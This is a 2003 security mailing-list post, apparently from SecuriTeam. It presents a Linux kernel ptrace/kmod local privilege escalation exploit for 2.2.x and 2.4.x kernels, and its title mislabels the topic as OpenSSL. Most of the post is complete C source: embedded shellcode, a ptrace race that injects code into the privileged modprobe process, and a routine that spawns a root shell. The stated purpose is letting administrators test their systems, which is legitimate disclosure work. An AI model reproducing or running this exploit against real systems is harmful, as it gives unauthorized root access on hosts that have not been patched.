[EXPL] OpenSSL Ptrace Exploit Code
From: support@securiteam.com
Date: 03/30/03
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From: support@securiteam.com To: list@securiteam.com Date: 30 Mar 2003 13:05:39 +0200
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OpenSSL Ptrace Exploit Code
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/unixfocus/5FP0A2K9GQ.html> Ptrace Vulnerability
Allows Gaining of Elevated Privileges under Linux , a vulnerability in
ptrace allows attackers to cause the local Linux OS to yield elevated
privileges. The following exploit code will allow administrators to test
their system for the mentioned vulnerability.
DETAILS
Exploit:
/*
* Linux kernel ptrace/kmod local root exploit
*
* This code exploits a race condition in kernel/kmod.c, which creates
* kernel thread in insecure manner. This bug allows to ptrace cloned
* process, allowing to take control over privileged modprobe binary.
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '\0';
src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid();
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");
fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:cliph@isec.pl> Wojciech
Purczynski.
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